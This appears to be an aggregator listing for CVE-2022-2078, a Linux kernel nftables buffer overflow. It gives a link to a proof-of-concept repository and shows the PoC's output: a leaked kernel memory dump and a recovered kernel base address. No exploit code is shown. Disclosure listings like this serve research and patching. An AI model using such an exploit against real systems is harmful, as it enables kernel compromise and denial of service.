CVE-2022-2078 PoC — Linux kernel 安全漏洞

Source

https://github.com/delsploit/CVE-2022-2078

Associated Vulnerability

Title: Linux kernel 安全漏洞 (CVE-2022-2078)
Description:A vulnerability was found in the Linux kernel's nft_set_desc_concat_parse() function .This flaw allows an attacker to trigger a buffer overflow via nft_set_desc_concat_parse() , causing a denial of service and possibly to run code.

Readme

# CVE-2022-2078

```
$ ./poc
...
[+] get_set
leak_buffer:
  0000  30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f  0123456789:;<=>?
  0010  28 00 00 00 00 02 0a 8f 68 8b a2 be 40 ac 70 8c  (.......h...@.p.
  0020  ff ff ff ff 00 6c b5 81                          .....l..
[+] kernel=0xffffffff8c70ac40
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →